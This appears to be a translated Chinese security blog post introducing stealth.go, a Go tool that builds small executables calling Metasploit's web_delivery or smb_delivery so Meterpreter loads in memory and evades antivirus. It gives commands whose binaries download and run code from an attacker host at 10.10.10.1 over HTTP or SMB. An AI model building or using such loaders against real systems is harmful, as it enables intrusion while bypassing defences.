前言
Metasploit有两个优秀的模块,用于调用Web服务器或SMB服务器将简单的shell提升到Meterpreter。第一个模块是exploit/multi/script/web_delivery,另一个是exploit/windows/smb/smb_delivery。使用这些模块你可以执行简单的Powershell,PHP,Python或Rundll命令将现有的shell提升到meterpereter。
如果你没有shell那你能做的就是运行一个可执行文件。你可以创建一个meterpreter或shell payload,并尝试上传和运行这些可执行文件,但是一旦它们写入磁盘就很容易被杀软捕获。相反,如果我们可以创建一个简单的可执行文件,只对web_delivery或smb_delivery进行必要的调用,然后在内存中加载meterpreter。这个可执行文件就可能不会被杀软捕获。
stealth.go
stealth.go脚本正是这种原理。它需要几个参数:所需的payload类型,Metasploit服务器和端口以及文件夹名称,并创建一个小的Golang可执行文件,以便对Metasploit进行相应的调用。
要使用脚本你将需要在每个计划构建可执行文件的操作系统上安装最新版本的Golang。安装Golang后,执行以下操作:
- 根据需要配置Metasploit web_delivery或smb_delivery模块。请注意web_delivery模块需要设置URIPATH参数和SHARE参数,并保证FOLDER_NAME参数未设置。
- 运行stealth.go模块来构建一个名为shell(* nix)或shell.exe(Windows)的二进制文件。
go run stealth.go ps 10.10.10.1 8080 test
这将构建一个可执行文件,调用Powershell从http://10.10.10.1:8080/test下载并执行代码。
go run stealth.go smb 10.10.10.1 445 test
这将构建一个可执行文件,将调用rundll32从\10.10.10.1\test传递并执行有效payload。
项目地址
stealth.go代码可以在我的Github中找到
*参考:averagesecurityguy,MottoIN小编翻译发布,未经允许禁止转载